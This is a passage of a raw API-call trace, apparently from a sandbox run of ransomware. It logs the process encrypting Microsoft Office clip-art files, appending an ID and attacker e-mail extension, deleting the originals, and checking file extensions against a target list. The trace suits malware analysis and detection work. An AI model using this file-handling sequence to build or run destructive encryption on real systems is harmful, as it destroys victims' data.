[0182.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0182.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.026] lstrlenW (lpString=".doc") returned 4 [0182.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.026] lstrlenW (lpString=".docx") returned 5 [0182.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.026] lstrlenW (lpString=".pdf") returned 4 [0182.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.026] lstrlenW (lpString=".xls") returned 4 [0182.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.027] lstrlenW (lpString=".xlsx") returned 5 [0182.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.027] lstrlenW (lpString=".ppt") returned 4 [0182.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.027] lstrlenW (lpString=".zip") returned 4 [0182.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.027] lstrlenW (lpString=".rar") returned 4 [0182.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.027] lstrlenW (lpString=".bz2") returned 4 [0182.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.027] lstrlenW (lpString=".7z") returned 3 [0182.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.027] lstrlenW (lpString=".dbf") returned 4 [0182.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.027] lstrlenW (lpString=".1cd") returned 4 [0182.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.027] lstrlenW (lpString=".jpg") returned 4 [0182.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.027] lstrlenW (lpString=".doc") returned 4 [0182.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.027] lstrlenW (lpString=".docx") returned 5 [0182.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.027] lstrlenW (lpString=".pdf") returned 4 [0182.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.027] lstrlenW (lpString=".xls") returned 4 [0182.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.027] lstrlenW (lpString=".xlsx") returned 5 [0182.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.028] lstrlenW (lpString=".ppt") returned 4 [0182.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.028] lstrlenW (lpString=".zip") returned 4 [0182.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.028] lstrlenW (lpString=".rar") returned 4 [0182.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.028] lstrlenW (lpString=".bz2") returned 4 [0182.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.028] lstrlenW (lpString=".7z") returned 3 [0182.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.028] lstrlenW (lpString=".dbf") returned 4 [0182.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.028] lstrlenW (lpString=".1cd") returned 4 [0182.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0182.028] lstrlenW (lpString=".jpg") returned 4 [0182.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.028] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.028] lstrlenW (lpString="BL00296_.WMF") returned 12 [0182.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0182.029] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=812) returned 1 [0182.029] CloseHandle (hObject=0x3fc) returned 1 [0182.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0182.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0182.029] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.030] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0182.030] GetLastError () returned 0x0 [0182.030] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x32c, lpOverlapped=0x0) returned 1 [0182.032] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x330, lpOverlapped=0x0) returned 1 [0182.033] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.033] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.033] SetEndOfFile (hFile=0x458) returned 1 [0182.033] CloseHandle (hObject=0x458) returned 1 [0182.033] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.034] SetEndOfFile (hFile=0x3fc) returned 1 [0182.036] CloseHandle (hObject=0x3fc) returned 1 [0182.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0182.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.037] lstrlenW (lpString=".doc") returned 4 [0182.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.037] lstrlenW (lpString=".docx") returned 5 [0182.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.037] lstrlenW (lpString=".pdf") returned 4 [0182.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.037] lstrlenW (lpString=".xls") returned 4 [0182.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.037] lstrlenW (lpString=".xlsx") returned 5 [0182.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.037] lstrlenW (lpString=".ppt") returned 4 [0182.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.037] lstrlenW (lpString=".zip") returned 4 [0182.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.037] lstrlenW (lpString=".rar") returned 4 [0182.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.037] lstrlenW (lpString=".bz2") returned 4 [0182.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.037] lstrlenW (lpString=".7z") returned 3 [0182.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.037] lstrlenW (lpString=".dbf") returned 4 [0182.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.038] lstrlenW (lpString=".1cd") returned 4 [0182.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.038] lstrlenW (lpString=".jpg") returned 4 [0182.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.038] lstrlenW (lpString=".doc") returned 4 [0182.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.038] lstrlenW (lpString=".docx") returned 5 [0182.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.038] lstrlenW (lpString=".pdf") returned 4 [0182.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.038] lstrlenW (lpString=".xls") returned 4 [0182.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.038] lstrlenW (lpString=".xlsx") returned 5 [0182.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.038] lstrlenW (lpString=".ppt") returned 4 [0182.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.038] lstrlenW (lpString=".zip") returned 4 [0182.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.038] lstrlenW (lpString=".rar") returned 4 [0182.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.038] lstrlenW (lpString=".bz2") returned 4 [0182.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.038] lstrlenW (lpString=".7z") returned 3 [0182.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.038] lstrlenW (lpString=".dbf") returned 4 [0182.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.039] lstrlenW (lpString=".1cd") returned 4 [0182.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0182.039] lstrlenW (lpString=".jpg") returned 4 [0182.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.039] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.039] lstrlenW (lpString="BL00390_.WMF") returned 12 [0182.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0182.040] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=13102) returned 1 [0182.040] CloseHandle (hObject=0x3fc) returned 1 [0182.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0182.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0182.041] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.041] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0182.050] GetLastError () returned 0x0 [0182.050] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x332e, lpOverlapped=0x0) returned 1 [0182.528] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x3330, lpOverlapped=0x0) returned 1 [0182.529] ReadFile (in: hFile=0x3fc, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.529] WriteFile (in: hFile=0x458, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.529] SetEndOfFile (hFile=0x458) returned 1 [0182.608] CloseHandle (hObject=0x458) returned 1 [0182.608] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.608] SetEndOfFile (hFile=0x3fc) returned 1 [0182.611] CloseHandle (hObject=0x3fc) returned 1 [0182.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0182.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0182.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.612] lstrlenW (lpString=".doc") returned 4 [0182.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.612] lstrlenW (lpString=".docx") returned 5 [0182.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.612] lstrlenW (lpString=".pdf") returned 4 [0182.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.612] lstrlenW (lpString=".xls") returned 4 [0182.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.612] lstrlenW (lpString=".xlsx") returned 5 [0182.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.612] lstrlenW (lpString=".ppt") returned 4 [0182.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.612] lstrlenW (lpString=".zip") returned 4 [0182.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.612] lstrlenW (lpString=".rar") returned 4 [0182.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.612] lstrlenW (lpString=".bz2") returned 4 [0182.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.612] lstrlenW (lpString=".7z") returned 3 [0182.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.613] lstrlenW (lpString=".dbf") returned 4 [0182.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.613] lstrlenW (lpString=".1cd") returned 4 [0182.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.613] lstrlenW (lpString=".jpg") returned 4 [0182.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.613] lstrlenW (lpString=".doc") returned 4 [0182.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.613] lstrlenW (lpString=".docx") returned 5 [0182.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0182.613] lstrlenW (lpString=".pdf") returned 4 [0182.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.613] lstrlenW (lpString=".xls") returned 4 [0182.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.613] lstrlenW (lpString=".xlsx") returned 5 [0182.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0182.613] lstrlenW (lpString=".ppt") returned 4 [0182.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.613] lstrlenW (lpString=".zip") returned 4 [0182.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.613] lstrlenW (lpString=".rar") returned 4 [0182.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.613] lstrlenW (lpString=".bz2") returned 4 [0182.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.613] lstrlenW (lpString=".7z") returned 3 [0182.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.614] lstrlenW (lpString=".dbf") returned 4 [0182.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.614] lstrlenW (lpString=".1cd") returned 4 [0182.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0182.614] lstrlenW (lpString=".jpg") returned 4 [0182.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.614] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0182.614] lstrlenW (lpString="BOATINST.WMF") returned 12 [0182.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0183.623] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=29004) returned 1 [0183.623] CloseHandle (hObject=0x500) returned 1 [0183.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0183.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0183.623] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.623] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0183.624] GetLastError () returned 0x0 [0183.624] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x714c, lpOverlapped=0x0) returned 1 [0183.626] WriteFile (in: hFile=0x50c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x7150, lpOverlapped=0x0) returned 1 [0183.627] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.628] WriteFile (in: hFile=0x50c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.628] SetEndOfFile (hFile=0x50c) returned 1 [0183.628] CloseHandle (hObject=0x50c) returned 1 [0183.628] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.628] SetEndOfFile (hFile=0x500) returned 1 [0183.631] CloseHandle (hObject=0x500) returned 1 [0183.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0183.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0183.632] lstrlenW (lpString="C:\\Program Files\\Microsoft 